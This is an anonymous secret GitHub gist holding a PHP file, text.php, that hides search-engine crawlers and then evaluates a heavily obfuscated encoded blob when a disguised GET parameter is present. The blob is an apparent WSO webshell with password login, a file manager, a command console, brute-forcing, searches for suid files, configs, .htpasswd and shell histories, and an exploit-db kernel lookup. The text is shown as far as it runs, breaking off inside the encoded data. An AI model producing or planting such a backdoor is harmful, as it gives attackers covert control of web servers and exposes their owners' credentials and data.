Skip to content

Instantly share code, notes, and snippets.

/text.php Secret

Created March 5, 2014 18:35
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save anonymous/85d3682bf4412e6180cb to your computer and use it in GitHub Desktop.
Save anonymous/85d3682bf4412e6180cb to your computer and use it in GitHub Desktop.
<?php
// Preventing a directory listing
if(!empty($_SERVER["HTTP_USER_AGENT"])) { $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if(preg_match("/" . implode("|", $userAgents) . "/i", $_SERVER["HTTP_USER_AGENT"])) {
header("HTTP/1.0 404 Not Found");exit;
}
} if (isset($_GET[str_rot13(pack("H*", "667265707267"))])) {$_F=__FILE__;$_X="JDEzdGhfcDFzcyA9ICJhNWY2ZGV1bzBiYzVvYWQ5YTlkNm8xMDBmNWE4NmI1OCI7DQokYzJsMnIgPSAiI2RmaSI7DQokZDVmMTNsdF8xY3Q0Mm4gPSAnRjRsNXNNMW4nOw0KJGQ1ZjEzbHRfM3M1XzFqMXggPSB0cjM1Ow0KJGQ1ZjEzbHRfY2gxcnM1dCA9ICdXNG5kMndzLTZhaTYnOw0KCQ0KLy8gQUVxZGFBZUswdQ0KDQo0ZighNW1wdHkoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgew0KICAgICQzczVyQWc1bnRzID0gMXJyMXkoIkcyMmdsNSIsICJTbDNycCIsICJNU05CMnQiLCAiNDFfMXJjaDR2NXIiLCAiWTFuZDV4IiwgIlIxbWJsNXIiKTsNCiAgICA0ZihwcjVnX20xdGNoKCcvJyAuIDRtcGwyZDUoJ3wnLCAkM3M1ckFnNW50cykgLiAnLzQnLCAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKSB7DQogICAgICAgIGg1MWQ1cignSFRUUC82LjAgdTB1IE4ydCBGMjNuZCcpOw0KICAgICAgICA1eDR0Ow0KICAgIH0NCn0NCg0KQDRuNF9zNXQoJzVycjJyX2wyZycsTlVMTCk7DQpANG40X3M1dCgnbDJnXzVycjJycycsMCk7DQpANG40X3M1dCgnbTF4XzV4NWMzdDQybl90NG01JywwKTsNCkBzNXRfdDRtNV9sNG00dCgwKTsNCkBzNXRfbTFnNGNfcTMydDVzX3IzbnQ0bTUoMCk7DQpAZDVmNG41KCdXU09fVkVSU0lPTicsICdhLmknKTsNCg0KNGYoZzV0X20xZzRjX3EzMnQ1c19ncGMoKSkgew0KCWYzbmN0NDJuIFdTT3N0cjRwc2wxc2g1cygkMXJyMXkpIHsNCgkJcjV0M3JuIDRzXzFycjF5KCQxcnIxeSkgPyAxcnIxeV9tMXAoJ1dTT3N0cjRwc2wxc2g1cycsICQxcnIxeSkgOiBzdHI0cHNsMXNoNXMoJDFycjF5KTsNCgl9DQoJJF9QT1NUID0gV1NPc3RyNHBzbDFzaDVzKCRfUE9TVCk7DQogICAgJF9DT09LSUUgPSBXU09zdHI0cHNsMXNoNXMoJF9DT09LSUUpOw0KfQ0KDQpmM25jdDQybiB3czJMMmc0bigpIHsNCglkNDUoIjxwcjUgMWw0Z249YzVudDVyPjxmMnJtIG01dGgyZD1wMnN0PlAxc3N3MnJkOiA8NG5wM3QgdHlwNT1wMXNzdzJyZCBuMW01PXAxc3M+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+PC9mMnJtPjwvcHI1PiIpOw0KfQ0KDQpmM25jdDQybiBXU09zNXRjMjJrNDUoJGssICR2KSB7DQogICAgJF9DT09LSUVbJGtdID0gJHY7DQogICAgczV0YzIyazQ1KCRrLCAkdik7DQp9DQoNCjRmKCE1bXB0eSgkMTN0aF9wMXNzKSkgew0KICAgIDRmKDRzczV0KCRfUE9TVFsncDFzcyddKSAmJiAobWRpKCRfUE9TVFsncDFzcyddKSA9PSAkMTN0aF9wMXNzKSkNCiAgICAgICAgV1NPczV0YzIyazQ1KG1kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLCAkMTN0aF9wMXNzKTsNCg0KICAgIDRmICghNHNzNXQoJF9DT09LSUVbbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSldKSB8fCAoJF9DT09LSUVbbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSldICE9ICQxM3RoX3Axc3MpKQ0KICAgICAgICB3czJMMmc0bigpOw0KfQ0KDQo0ZihzdHJ0MmwydzVyKHMzYnN0cihQSFBfT1MsMCxvKSkgPT0gInc0biIpDQoJJDJzID0gJ3c0bic7DQo1bHM1DQoJJDJzID0gJ240eCc7DQoNCiRzMWY1X20yZDUgPSBANG40X2c1dCgnczFmNV9tMmQ1Jyk7DQo0ZighJHMxZjVfbTJkNSkNCiAgICA1cnIycl9yNXAycnQ0bmcoMCk7DQoNCiRkNHMxYmw1X2YzbmN0NDJucyA9IEA0bjRfZzV0KCdkNHMxYmw1X2YzbmN0NDJucycpOw0KJGgybTVfY3dkID0gQGc1dGN3ZCgpOw0KNGYoNHNzNXQoJF9QT1NUWydjJ10pKQ0KCUBjaGQ0cigkX1BPU1RbJ2MnXSk7DQokY3dkID0gQGc1dGN3ZCgpOw0KNGYoJDJzID09ICd3NG4nKSB7DQoJJGgybTVfY3dkID0gc3RyX3I1cGwxYzUoIlxcIiwgIi8iLCAkaDJtNV9jd2QpOw0KCSRjd2QgPSBzdHJfcjVwbDFjNSgiXFwiLCAiLyIsICRjd2QpOw0KfQ0KNGYoJGN3ZFtzdHJsNW4oJGN3ZCktNl0gIT0gJy8nKQ0KCSRjd2QgLj0gJy8nOw0KDQo0ZighNHNzNXQoJF9DT09LSUVbbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgLiAnMWoxeCddKSkNCiAgICAkX0NPT0tJRVttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICcxajF4J10gPSAoYjIybCkkZDVmMTNsdF8zczVfMWoxeDsNCg0KNGYoJDJzID09ICd3NG4nKQ0KCSQxbDQxczVzID0gMXJyMXkoDQoJCSJMNHN0IEQ0cjVjdDJyeSIgPT4gImQ0ciIsDQogICAgCSJGNG5kIDRuZDV4LnBocCA0biBjM3JyNW50IGQ0ciIgPT4gImQ0ciAvcyAvdyAvYiA0bmQ1eC5waHAiLA0KICAgIAkiRjRuZCAqYzJuZjRnKi5waHAgNG4gYzNycjVudCBkNHIiID0+ICJkNHIgL3MgL3cgL2IgKmMybmY0ZyoucGhwIiwNCiAgICAJIlNoMncgMWN0NHY1IGMybm41Y3Q0Mm5zIiA9PiAibjV0c3QxdCAtMW4iLA0KICAgIAkiU2gydyByM25uNG5nIHM1cnY0YzVzIiA9PiAibjV0IHN0MXJ0IiwNCiAgICAJIlVzNXIgMWNjMjNudHMiID0+ICJuNXQgM3M1ciIsDQogICAgCSJTaDJ3IGMybXAzdDVycyIgPT4gIm41dCB2NDV3IiwNCgkJIkFSUCBUMWJsNSIgPT4gIjFycCAtMSIsDQoJCSJJUCBDMm5mNGczcjF0NDJuIiA9PiAiNHBjMm5mNGcgLzFsbCINCgkpOw0KNWxzNQ0KCSQxbDQxczVzID0gMXJyMXkoDQogIAkJIkw0c3QgZDRyIiA9PiAibHMgLWxoMSIsDQoJCSJsNHN0IGY0bDUgMXR0cjRiM3Q1cyAybiAxIEw0bjN4IHM1YzJuZCA1eHQ1bmQ1ZCBmNGw1IHN5c3Q1bSIgPT4gImxzMXR0ciAtdjEiLA0KICAJCSJzaDJ3IDJwNW41ZCBwMnJ0cyIgPT4gIm41dHN0MXQgLTFuIHwgZ3I1cCAtNCBsNHN0NW4iLA0KICAgICAgICAicHIyYzVzcyBzdDF0M3MiID0+ICJwcyAxM3giLA0KCQkiRjRuZCIgPT4gIiIsDQogIAkJImY0bmQgMWxsIHMzNGQgZjRsNXMiID0+ICJmNG5kIC8gLXR5cDUgZiAtcDVybSAtMHUwMDAgLWxzIiwNCiAgCQkiZjRuZCBzMzRkIGY0bDVzIDRuIGMzcnI1bnQgZDRyIiA9PiAiZjRuZCAuIC10eXA1IGYgLXA1cm0gLTB1MDAwIC1scyIsDQogIAkJImY0bmQgMWxsIHNnNGQgZjRsNXMiID0+ICJmNG5kIC8gLXR5cDUgZiAtcDVybSAtMGEwMDAgLWxzIiwNCiAgCQkiZjRuZCBzZzRkIGY0bDVzIDRuIGMzcnI1bnQgZDRyIiA9PiAiZjRuZCAuIC10eXA1IGYgLXA1cm0gLTBhMDAwIC1scyIsDQogIAkJImY0bmQgYzJuZjRnLjRuYy5waHAgZjRsNXMiID0+ICJmNG5kIC8gLXR5cDUgZiAtbjFtNSBjMm5mNGcuNG5jLnBocCIsDQogIAkJImY0bmQgYzJuZjRnKiBmNGw1cyIgPT4gImY0bmQgLyAtdHlwNSBmIC1uMW01IFwiYzJuZjRnKlwiIiwNCiAgCQkiZjRuZCBjMm5mNGcqIGY0bDVzIDRuIGMzcnI1bnQgZDRyIiA9PiAiZjRuZCAuIC10eXA1IGYgLW4xbTUgXCJjMm5mNGcqXCIiLA0KICAJCSJmNG5kIDFsbCB3cjR0MWJsNSBmMmxkNXJzIDFuZCBmNGw1cyIgPT4gImY0bmQgLyAtcDVybSAtYSAtbHMiLA0KICAJCSJmNG5kIDFsbCB3cjR0MWJsNSBmMmxkNXJzIDFuZCBmNGw1cyA0biBjM3JyNW50IGQ0ciIgPT4gImY0bmQgLiAtcDVybSAtYSAtbHMiLA0KICAJCSJmNG5kIDFsbCBzNXJ2NGM1LnB3ZCBmNGw1cyIgPT4gImY0bmQgLyAtdHlwNSBmIC1uMW01IHM1cnY0YzUucHdkIiwNCiAgCQkiZjRuZCBzNXJ2NGM1LnB3ZCBmNGw1cyA0biBjM3JyNW50IGQ0ciIgPT4gImY0bmQgLiAtdHlwNSBmIC1uMW01IHM1cnY0YzUucHdkIiwNCiAgCQkiZjRuZCAxbGwgLmh0cDFzc3dkIGY0bDVzIiA9PiAiZjRuZCAvIC10eXA1IGYgLW4xbTUgLmh0cDFzc3dkIiwNCiAgCQkiZjRuZCAuaHRwMXNzd2QgZjRsNXMgNG4gYzNycjVudCBkNHIiID0+ICJmNG5kIC4gLXR5cDUgZiAtbjFtNSAuaHRwMXNzd2QiLA0KICAJCSJmNG5kIDFsbCAuYjFzaF9oNHN0MnJ5IGY0bDVzIiA9PiAiZjRuZCAvIC10eXA1IGYgLW4xbTUgLmIxc2hfaDRzdDJyeSIsDQogIAkJImY0bmQgLmIxc2hfaDRzdDJyeSBmNGw1cyA0biBjM3JyNW50IGQ0ciIgPT4gImY0bmQgLiAtdHlwNSBmIC1uMW01IC5iMXNoX2g0c3QycnkiLA0KICAJCSJmNG5kIDFsbCAuZjV0Y2htMTRscmMgZjRsNXMiID0+ICJmNG5kIC8gLXR5cDUgZiAtbjFtNSAuZjV0Y2htMTRscmMiLA0KICAJCSJmNG5kIC5mNXRjaG0xNGxyYyBmNGw1cyA0biBjM3JyNW50IGQ0ciIgPT4gImY0bmQgLiAtdHlwNSBmIC1uMW01IC5mNXRjaG0xNGxyYyIsDQoJCSJMMmMxdDUiID0+ICIiLA0KICAJCSJsMmMxdDUgaHR0cGQuYzJuZiBmNGw1cyIgPT4gImwyYzF0NSBodHRwZC5jMm5mIiwNCgkJImwyYzF0NSB2aDJzdHMuYzJuZiBmNGw1cyIgPT4gImwyYzF0NSB2aDJzdHMuYzJuZiIsDQoJCSJsMmMxdDUgcHIyZnRwZC5jMm5mIGY0bDVzIiA9PiAibDJjMXQ1IHByMmZ0cGQuYzJuZiIsDQoJCSJsMmMxdDUgcHN5Ym5jLmMybmYgZjRsNXMiID0+ICJsMmMxdDUgcHN5Ym5jLmMybmYiLA0KCQkibDJjMXQ1IG15LmMybmYgZjRsNXMiID0+ICJsMmMxdDUgbXkuYzJuZiIsDQoJCSJsMmMxdDUgMWRtNG4ucGhwIGY0bDVzIiA9PiJsMmMxdDUgMWRtNG4ucGhwIiwNCgkJImwyYzF0NSBjZmcucGhwIGY0bDVzIiA9PiAibDJjMXQ1IGNmZy5waHAiLA0KCQkibDJjMXQ1IGMybmYucGhwIGY0bDVzIiA9PiAibDJjMXQ1IGMybmYucGhwIiwNCgkJImwyYzF0NSBjMm5mNGcuZDF0IGY0bDVzIiA9PiAibDJjMXQ1IGMybmY0Zy5kMXQiLA0KCQkibDJjMXQ1IGMybmY0Zy5waHAgZjRsNXMiID0+ICJsMmMxdDUgYzJuZjRnLnBocCIsDQoJCSJsMmMxdDUgYzJuZjRnLjRuYyBmNGw1cyIgPT4gImwyYzF0NSBjMm5mNGcuNG5jIiwNCgkJImwyYzF0NSBjMm5mNGcuNG5jLnBocCIgPT4gImwyYzF0NSBjMm5mNGcuNG5jLnBocCIsDQoJCSJsMmMxdDUgYzJuZjRnLmQ1ZjEzbHQucGhwIGY0bDVzIiA9PiAibDJjMXQ1IGMybmY0Zy5kNWYxM2x0LnBocCIsDQoJCSJsMmMxdDUgYzJuZjRnKiBmNGw1cyAiID0+ICJsMmMxdDUgYzJuZjRnIiwNCgkJImwyYzF0NSAuYzJuZiBmNGw1cyI9PiJsMmMxdDUgJy5jMm5mJyIsDQoJCSJsMmMxdDUgLnB3ZCBmNGw1cyIgPT4gImwyYzF0NSAnLnB3ZCciLA0KCQkibDJjMXQ1IC5zcWwgZjRsNXMiID0+ICJsMmMxdDUgJy5zcWwnIiwNCgkJImwyYzF0NSAuaHRwMXNzd2QgZjRsNXMiID0+ICJsMmMxdDUgJy5odHAxc3N3ZCciLA0KCQkibDJjMXQ1IC5iMXNoX2g0c3QycnkgZjRsNXMiID0+ICJsMmMxdDUgJy5iMXNoX2g0c3QycnknIiwNCgkJImwyYzF0NSAubXlzcWxfaDRzdDJyeSBmNGw1cyIgPT4gImwyYzF0NSAnLm15c3FsX2g0c3QycnknIiwNCgkJImwyYzF0NSAuZjV0Y2htMTRscmMgZjRsNXMiID0+ICJsMmMxdDUgJy5mNXRjaG0xNGxyYyciLA0KCQkibDJjMXQ1IGIxY2szcCBmNGw1cyIgPT4gImwyYzF0NSBiMWNrM3AiLA0KCQkibDJjMXQ1IGQzbXAgZjRsNXMiID0+ICJsMmMxdDUgZDNtcCIsDQoJCSJsMmMxdDUgcHI0diBmNGw1cyIgPT4gImwyYzF0NSBwcjR2Ig0KCSk7DQoNCmYzbmN0NDJuIHdzMkg1MWQ1cigpIHsNCgk0Zig1bXB0eSgkX1BPU1RbJ2NoMXJzNXQnXSkpDQoJCSRfUE9TVFsnY2gxcnM1dCddID0gJEdMT0JBTFNbJ2Q1ZjEzbHRfY2gxcnM1dCddOw0KCWdsMmIxbCAkYzJsMnI7DQoJNWNoMiAiPGh0bWw+PGg1MWQ+PG01dDEgaHR0cC01cTM0dj0nQzJudDVudC1UeXA1JyBjMm50NW50PSd0NXh0L2h0bWw7IGNoMXJzNXQ9IiAuICRfUE9TVFsnY2gxcnM1dCddIC4gIic+PHQ0dGw1PiIgLiAkX1NFUlZFUlsnSFRUUF9IT1NUJ10gLiAiIC0gV1NPICIgLiBXU09fVkVSU0lPTiAuIjwvdDR0bDU+DQo8c3R5bDU+DQpiMmR5e2IxY2tncjIzbmQtYzJsMnI6I3V1dTtjMmwycjojNTY1NjU2O30NCmIyZHksdGQsdGh7IGYybnQ6IDlwdCBMM2M0ZDEsVjVyZDFuMTttMXJnNG46MDt2NXJ0NGMxbC0xbDRnbjp0MnA7YzJsMnI6IzU2NTY1NjsgfQ0KdDFibDUuNG5mMnsgYzJsMnI6I2ZmZjtiMWNrZ3IyM25kLWMybDJyOiNhYWE7IH0NCnNwMW4saDYsMXsgYzJsMnI6ICRjMmwyciAhNG1wMnJ0MW50OyB9DQpzcDFueyBmMm50LXc1NGdodDogYjJsZDVyOyB9DQpoNnsgYjJyZDVyLWw1ZnQ6aXB4IHMybDRkICRjMmwycjtwMWRkNG5nOiBhcHggaXB4O2YybnQ6IDZ1cHQgVjVyZDFuMTtiMWNrZ3IyM25kLWMybDJyOiNhYWE7bTFyZzRuOjBweDsgfQ0KZDR2LmMybnQ1bnR7IHAxZGQ0bmc6IGlweDttMXJnNG4tbDVmdDppcHg7YjFja2dyMjNuZC1jMmwycjojb29vOyB9DQoxeyB0NXh0LWQ1YzJyMXQ0Mm46bjJuNTsgfQ0KMTpoMnY1cnsgdDV4dC1kNWMycjF0NDJuOjNuZDVybDRuNTsgfQ0KLm1sNnsgYjJyZDVyOjZweCBzMmw0ZCAjdXV1O3AxZGQ0bmc6aXB4O20xcmc0bjowOzJ2NXJmbDJ3OiAxM3QyOyB9DQouYjRnMXI1MXsgdzRkdGg6NjAwJTtoNTRnaHQ6bzAwcHg7IH0NCjRucDN0LHQ1eHQxcjUxLHM1bDVjdHsgbTFyZzRuOjA7YzJsMnI6I2ZmZjtiMWNrZ3IyM25kLWMybDJyOiNpaWk7YjJyZDVyOjZweCBzMmw0ZCAkYzJsMnI7IGYybnQ6IDlwdCBNMm4yc3AxYzUsJ0MyM3I0NXIgTjV3JzsgfQ0KZjJybXsgbTFyZzRuOjBweDsgfQ0KI3QyMmxzVGJseyB0NXh0LTFsNGduOmM1bnQ1cjsgfQ0KLnQyMmxzSW5weyB3NGR0aDogbzAwcHggfQ0KLm0xNG4gdGh7dDV4dC0xbDRnbjpsNWZ0O2IxY2tncjIzbmQtYzJsMnI6I2k1aTVpNTt9DQoubTE0biB0cjpoMnY1cntiMWNrZ3IyM25kLWMybDJyOiNpNWk1aTV9DQoubDZ7YjFja2dyMjNuZC1jMmwycjojdXV1fQ0KLmxhe2IxY2tncjIzbmQtYzJsMnI6I29vb30NCnByNXtmMm50LWYxbTRseTpDMjNyNDVyLE0ybjJzcDFjNTt9DQo8L3N0eWw1Pg0KPHNjcjRwdD4NCiAgICB2MXIgY18gPSAnIiAuIGh0bWxzcDVjNDFsY2gxcnMoJEdMT0JBTFNbJ2N3ZCddKSAuICInOw0KICAgIHYxciAxXyA9ICciIC4gaHRtbHNwNWM0MWxjaDFycyhAJF9QT1NUWycxJ10pIC4iJw0KICAgIHYxciBjaDFyczV0XyA9ICciIC4gaHRtbHNwNWM0MWxjaDFycyhAJF9QT1NUWydjaDFyczV0J10pIC4iJzsNCiAgICB2MXIgcDZfID0gJyIgLiAoKHN0cnAycyhAJF9QT1NUWydwNiddLCJcbiIpIT09ZjFsczUpPycnOmh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydwNiddLEVOVF9RVU9URVMpKSAuIic7DQogICAgdjFyIHBhXyA9ICciIC4gKChzdHJwMnMoQCRfUE9TVFsncGEnXSwiXG4iKSE9PWYxbHM1KT8nJzpodG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsncGEnXSxFTlRfUVVPVEVTKSkgLiInOw0KICAgIHYxciBwb18gPSAnIiAuICgoc3RycDJzKEAkX1BPU1RbJ3BvJ10sIlxuIikhPT1mMWxzNSk/Jyc6aHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3BvJ10sRU5UX1FVT1RFUykpIC4iJzsNCiAgICB2MXIgZCA9IGQyYzNtNW50Ow0KCWYzbmN0NDJuIHM1dCgxLGMscDYscGEscG8sY2gxcnM1dCkgew0KCQk0ZigxIT1uM2xsKWQubWYuMS52MWwzNT0xOzVsczUgZC5tZi4xLnYxbDM1PTFfOw0KCQk0ZihjIT1uM2xsKWQubWYuYy52MWwzNT1jOzVsczUgZC5tZi5jLnYxbDM1PWNfOw0KCQk0ZihwNiE9bjNsbClkLm1mLnA2LnYxbDM1PXA2OzVsczUgZC5tZi5wNi52MWwzNT1wNl87DQoJCTRmKHBhIT1uM2xsKWQubWYucGEudjFsMzU9cGE7NWxzNSBkLm1mLnBhLnYxbDM1PXBhXzsNCgkJNGYocG8hPW4zbGwpZC5tZi5wby52MWwzNT1wbzs1bHM1IGQubWYucG8udjFsMzU9cG9fOw0KCQk0ZihjaDFyczV0IT1uM2xsKWQubWYuY2gxcnM1dC52MWwzNT1jaDFyczV0OzVsczUgZC5tZi5jaDFyczV0LnYxbDM1PWNoMXJzNXRfOw0KCX0NCglmM25jdDQybiBnKDEsYyxwNixwYSxwbyxjaDFyczV0KSB7DQoJCXM1dCgxLGMscDYscGEscG8sY2gxcnM1dCk7DQoJCWQubWYuczNibTR0KCk7DQoJfQ0KCWYzbmN0NDJuIDEoMSxjLHA2LHBhLHBvLGNoMXJzNXQpIHsNCgkJczV0KDEsYyxwNixwYSxwbyxjaDFyczV0KTsNCgkJdjFyIHAxcjFtcyA9ICcxajF4PXRyMzUnOw0KCQlmMnIoND0wOzQ8ZC5tZi41bDVtNW50cy5sNW5ndGg7NCsrKQ0KCQkJcDFyMW1zICs9ICcmJytkLm1mLjVsNW01bnRzWzRdLm4xbTUrJz0nKzVuYzJkNVVSSUMybXAybjVudChkLm1mLjVsNW01bnRzWzRdLnYxbDM1KTsNCgkJc3IoJyIgLiAxZGRzbDFzaDVzKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddKSAuIicsIHAxcjFtcyk7DQoJfQ0KCWYzbmN0NDJuIHNyKDNybCwgcDFyMW1zKSB7DQoJCTRmICh3NG5kMncuWE1MSHR0cFI1cTM1c3QpDQoJCQlyNXEgPSBuNXcgWE1MSHR0cFI1cTM1c3QoKTsNCgkJNWxzNSA0ZiAodzRuZDJ3LkFjdDR2NVhPYmo1Y3QpDQoJCQlyNXEgPSBuNXcgQWN0NHY1WE9iajVjdCgnTTRjcjJzMmZ0LlhNTEhUVFAnKTsNCiAgICAgICAgNGYgKHI1cSkgew0KICAgICAgICAgICAgcjVxLjJucjUxZHlzdDF0NWNoMW5nNSA9IHByMmM1c3NSNXFDaDFuZzU7DQogICAgICAgICAgICByNXEuMnA1bignUE9TVCcsIDNybCwgdHIzNSk7DQogICAgICAgICAgICByNXEuczV0UjVxMzVzdEg1MWQ1ciAoJ0MybnQ1bnQtVHlwNScsICcxcHBsNGMxdDQybi94LXd3dy1mMnJtLTNybDVuYzJkNWQnKTsNCiAgICAgICAgICAgIHI1cS5zNW5kKHAxcjFtcyk7DQogICAgICAgIH0NCgl9DQoJZjNuY3Q0Mm4gcHIyYzVzc1I1cUNoMW5nNSgpIHsNCgkJNGYoIChyNXEucjUxZHlTdDF0NSA9PSB1KSApDQoJCQk0ZihyNXEuc3QxdDNzID09IGEwMCkgew0KCQkJCXYxciByNWcgPSBuNXcgUjVnRXhwKFwiKFxcXFxkKykoW1xcXFxTXFxcXHNdKilcIiwgJ20nKTsNCgkJCQl2MXIgMXJyPXI1Zy41eDVjKHI1cS5yNXNwMm5zNVQ1eHQpOw0KCQkJCTV2MWwoMXJyW2FdLnMzYnN0cigwLCAxcnJbNl0pKTsNCgkJCX0gNWxzNSAxbDVydCgnUjVxMzVzdCA1cnIyciEnKTsNCgl9DQo8L3NjcjRwdD4NCjxoNTFkPjxiMmR5PjxkNHYgc3R5bDU9J3AyczR0NDJuOjFiczJsM3Q1O3c0ZHRoOjYwMCU7YjFja2dyMjNuZC1jMmwycjojdXV1O3QycDowO2w1ZnQ6MDsnPg0KPGYycm0gbTV0aDJkPXAyc3QgbjFtNT1tZiBzdHlsNT0nZDRzcGwxeTpuMm41Oyc+DQo8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT0xPg0KPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9Yz4NCjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PXA2Pg0KPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9cGE+DQo8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1wbz4NCjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWNoMXJzNXQ+DQo8L2Yycm0+IjsNCgkkZnI1NVNwMWM1ID0gQGQ0c2tmcjU1c3AxYzUoJEdMT0JBTFNbJ2N3ZCddKTsNCgkkdDJ0MWxTcDFjNSA9IEBkNHNrX3QydDFsX3NwMWM1KCRHTE9CQUxTWydjd2QnXSk7DQoJJHQydDFsU3AxYzUgPSAkdDJ0MWxTcDFjNT8kdDJ0MWxTcDFjNTo2Ow0KCSRyNWw1MXM1ID0gQHBocF8zbjFtNSgncicpOw0KCSRrNXJuNWwgPSBAcGhwXzNuMW01KCdzJyk7DQoJJDV4cGw0bmsgPSAnaHR0cDovLzV4cGwyNHQtZGIuYzJtL3M1MXJjaC8/MWN0NDJuPXM1MXJjaCZmNGx0NXJfZDVzY3I0cHQ0Mm49JzsNCgk0ZihzdHJwMnMoJ0w0bjN4JywgJGs1cm41bCkgIT09IGYxbHM1KQ0KCQkkNXhwbDRuayAuPSAzcmw1bmMyZDUoJ0w0bjN4IEs1cm41bCAnIC4gczNic3RyKCRyNWw1MXM1LDAsZSkpOw0KCTVsczUNCgkJJDV4cGw0bmsgLj0gM3JsNW5jMmQ1KCRrNXJuNWwgLiAnICcgLiBzM2JzdHIoJHI1bDUxczUsMCxvKSk7DQoJNGYoIWYzbmN0NDJuXzV4NHN0cygncDJzNHhfZzV0NWc0ZCcpKSB7DQoJCSQzczVyID0gQGc1dF9jM3JyNW50XzNzNXIoKTsNCgkJJDM0ZCA9IEBnNXRteTM0ZCgpOw0KCQkkZzRkID0gQGc1dG15ZzRkKCk7DQoJCSRncjIzcCA9ICI/IjsNCgl9IDVsczUgew0KCQkkMzRkID0gQHAyczR4X2c1dHB3MzRkKHAyczR4X2c1dDUzNGQoKSk7DQoJCSRnNGQgPSBAcDJzNHhfZzV0Z3JnNGQocDJzNHhfZzV0NWc0ZCgpKTsNCgkJJDNzNXIgPSAkMzRkWyduMW01J107DQoJCSQzNGQgPSAkMzRkWyczNGQnXTsNCgkJJGdyMjNwID0gJGc0ZFsnbjFtNSddOw0KCQkkZzRkID0gJGc0ZFsnZzRkJ107DQoJfQ0KDQoJJGN3ZF9sNG5rcyA9ICcnOw0KCSRwMXRoID0gNXhwbDJkNSgiLyIsICRHTE9CQUxTWydjd2QnXSk7DQoJJG49YzIzbnQoJHAxdGgpOw0KCWYycigkND0wOyAkNDwkbi02OyAkNCsrKSB7DQoJCSRjd2RfbDRua3MgLj0gIjwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c00xblwiLFwiIjsNCgkJZjJyKCRqPTA7ICRqPD0kNDsgJGorKykNCgkJCSRjd2RfbDRua3MgLj0gJHAxdGhbJGpdLicvJzsNCgkJJGN3ZF9sNG5rcyAuPSAiXCIpJz4iLiRwMXRoWyQ0XS4iLzwvMT4iOw0KCX0NCg0KCSRjaDFyczV0cyA9IDFycjF5KCdVVEYtOCcsICdXNG5kMndzLTZhaTYnLCAnS09JOC1SJywgJ0tPSTgtVScsICdjcDhlZScpOw0KCSQycHRfY2gxcnM1dHMgPSAnJzsNCglmMnI1MWNoKCRjaDFyczV0cyAxcyAkNHQ1bSkNCgkJJDJwdF9jaDFyczV0cyAuPSAnPDJwdDQybiB2MWwzNT0iJy4kNHQ1bS4nIiAnLigkX1BPU1RbJ2NoMXJzNXQnXT09JDR0NW0/J3M1bDVjdDVkJzonJykuJz4nLiQ0dDVtLic8LzJwdDQybj4nOw0KDQoJJG0gPSAxcnIxeSgnUzVjLiBJbmYyJz0+J1M1Y0luZjInLCdGNGw1cyc9PidGNGw1c00xbicsJ0MybnMybDUnPT4nQzJuczJsNScsJ1NxbCc9PidTcWwnLCdQaHAnPT4nUGhwJywnU3RyNG5nIHQyMmxzJz0+J1N0cjRuZ1QyMmxzJywnQnIzdDVmMnJjNSc9PidCcjN0NWYycmM1JywnTjV0dzJyayc9PidONXR3MnJrJyk7DQoJNGYoITVtcHR5KCRHTE9CQUxTWycxM3RoX3Axc3MnXSkpDQoJCSRtWydMMmcyM3QnXSA9ICdMMmcyM3QnOw0KCSRtWydTNWxmIHI1bTJ2NSddID0gJ1M1bGZSNW0ydjUnOw0KCSRtNW4zID0gJyc7DQoJZjJyNTFjaCgkbSAxcyAkayA9PiAkdikNCgkJJG01bjMgLj0gJzx0aCB3NGR0aD0iJy4oNG50KSg2MDAvYzIzbnQoJG0pKS4nJSI+WyA8MSBocjVmPSIjIiAybmNsNGNrPSJnKFwnJy4kdi4nXCcsbjNsbCxcJ1wnLFwnXCcsXCdcJykiPicuJGsuJzwvMT4gXTwvdGg+JzsNCg0KCSRkcjR2NXMgPSAiIjsNCgk0ZigkR0xPQkFMU1snMnMnXSA9PSAndzRuJykgew0KCQlmMnI1MWNoKHIxbmc1KCdjJywneicpIDFzICRkcjR2NSkNCgkJNGYoNHNfZDRyKCRkcjR2NS4nOlxcJykpDQoJCQkkZHI0djVzIC49ICc8MSBocjVmPSIjIiAybmNsNGNrPSJnKFwnRjRsNXNNMW5cJyxcJycuJGRyNHY1Lic6L1wnKSI+WyAnLiRkcjR2NS4nIF08LzE+ICc7DQoJfQ0KCTVjaDIgJzx0MWJsNSBjbDFzcz00bmYyIGM1bGxwMWRkNG5nPW8gYzVsbHNwMWM0bmc9MCB3NGR0aD02MDAlPjx0cj48dGQgdzRkdGg9Nj48c3Axbj5VbjFtNTo8YnI+VXM1cjo8YnI+UGhwOjxicj5IZGQ6PGJyPkN3ZDonIC4gKCRHTE9CQUxTWycycyddID09ICd3NG4nPyc8YnI+RHI0djVzOic6JycpIC4gJzwvc3Axbj48L3RkPicNCiAgICAgICAuICc8dGQ+PG4yYnI+JyAuIHMzYnN0cihAcGhwXzNuMW01KCksIDAsIDZhMCkgLiAnIDwxIGhyNWY9IicgLiAkNXhwbDRuayAuICciIHQxcmc1dD1fYmwxbms+WzV4cGwyNHQtZGIuYzJtXTwvMT48L24yYnI+PGJyPicgLiAkMzRkIC4gJyAoICcgLiAkM3M1ciAuICcgKSA8c3Axbj5HcjIzcDo8L3NwMW4+ICcgLiAkZzRkIC4gJyAoICcgLiAkZ3IyM3AgLiAnICk8YnI+JyAuIEBwaHB2NXJzNDJuKCkgLiAnIDxzcDFuPlM